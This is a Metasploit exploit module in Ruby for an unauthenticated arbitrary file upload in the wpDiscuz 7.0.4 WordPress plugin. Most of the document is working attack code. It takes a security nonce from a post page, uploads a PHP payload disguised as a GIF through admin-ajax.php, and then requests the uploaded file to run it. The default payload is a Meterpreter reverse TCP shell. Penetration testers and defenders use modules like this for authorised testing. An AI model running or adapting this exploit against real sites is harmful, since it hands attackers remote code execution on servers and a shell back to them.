Wordpress Plugin wpDiscuz 7.0.4 - Unauthenticated Arbitrary File Upload (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HTTP::Wordpress
    include Msf::Exploit::FileDropper

    def initialize(info = {})
        super(update_info(info,
          'Name'           => 'WordPress wpDiscuz Unauthen File Upload Vulnerability',
          'Description'    => %q{
            This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
            version 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files,
            including PHP files, and achieve remote code execution on a vulnerable site’s server.
          },
          'Author'         =>
            [
              'Chloe Chamberland', # Vulnerability Discovery, initial msf module
              'Hoa Nguyen - SunCSR'  # Metasploit Module Pull Request
            ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              ['WPVDB', '10333'],
              ['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],
              ['URL','https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],
              ['URL','https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']
            ],
          'Privileged'     => false,
          'Platform'       => 'php',
          'Arch'           => ARCH_PHP,
          'Targets'        => [['wpDiscuz < 7.0.5', {}]],
          'DisclosureDate' => 'Feb 21 2020',
          'DefaultOptions' =>
          {
            'PAYLOAD' => 'php/meterpreter/reverse_tcp'
          },
          'DefaultTarget'  => 0))

      register_options [
        OptString.new('BLOGPATH',[true,'Link to the post [/index.php/2020/12/12/post1]', nil]),
    ]
    end

    def check
        check_plugin_version_from_readme('wpdiscuz','7.0.5')
    end

    def blogpath
        datastore['BLOGPATH']
    end

    def find_wmusecurity_id
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath)},5)
      wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/).captures
      return wmusecurity_id
    end

    def exploit
        wmusecurity_id = find_wmusecurity_id[0]
        php_page_name = rand_text_alpha(5 + rand(5)) + '.php'
        data = Rex::MIME::Message.new
        data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"')
        data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"')
        data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"')
        data.add_part('1', nil, nil, 'form-data; name="postId"')
        data.add_part('GIF8' + payload.encoded, 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"")
        post_data = data.to_s

        res = send_request_cgi(
          'uri'       => normalize_uri(target_uri.path ,'wp-admin', 'admin-ajax.php'),
          'method'    => 'POST',
          'ctype'     => "multipart/form-data; boundary=#{data.bound}",
          'data'      => post_data
        )

        time = Time.new
        year = time.year.to_s
        month = "%02d" % time.month

        regex = res.body.match(/https?:\\\/\\\/[\w\\\/\-\.:]+\.php/)
        wp_shell_upload = /\/\w+-\d+\.\d+\.php/.match(regex.to_s).to_s.tr('/',"")

        if res
          if res.code == 200 && res.body =~ /#{php_page_name}/
            print_good("Payload uploaded as #{php_page_name}")
            register_files_for_cleanup(php_page_name)
          else
            fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
          end
        else
          fail_with(Failure::Unknown, "#{peer} - Server did not answer")
        end

        print_status("Calling payload...")
        send_request_cgi(
          { 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}","#{month}",wp_shell_upload)},
          5
        )

    end
end